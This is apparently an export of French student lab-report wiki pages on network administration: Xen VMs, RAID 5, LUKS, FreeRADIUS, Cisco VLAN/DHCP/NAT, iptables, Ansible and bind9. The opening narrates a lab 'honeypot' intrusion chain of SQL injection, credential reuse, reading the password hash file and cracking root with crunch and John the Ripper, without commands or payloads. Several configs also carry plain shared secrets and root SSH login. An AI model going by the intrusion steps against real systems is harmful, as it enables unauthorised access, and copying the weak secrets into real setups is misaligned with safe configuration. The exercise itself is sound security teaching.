De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Installation d'Ansible ===&lt;br /&gt;
&lt;br /&gt;
Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible. &lt;br /&gt;
Nous commençons par installer ansible sur notre VM principale :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:hosts.png]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:host.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png || 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Host.png&amp;diff=54900</id>
		<title>Fichier:Host.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Host.png&amp;diff=54900"/>
				<updated>2020-12-17T16:27:48Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : Jsoulaim a téléversé une nouvelle version de Fichier:Host.png&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54899</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54899"/>
				<updated>2020-12-17T16:24:31Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Installation d'Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
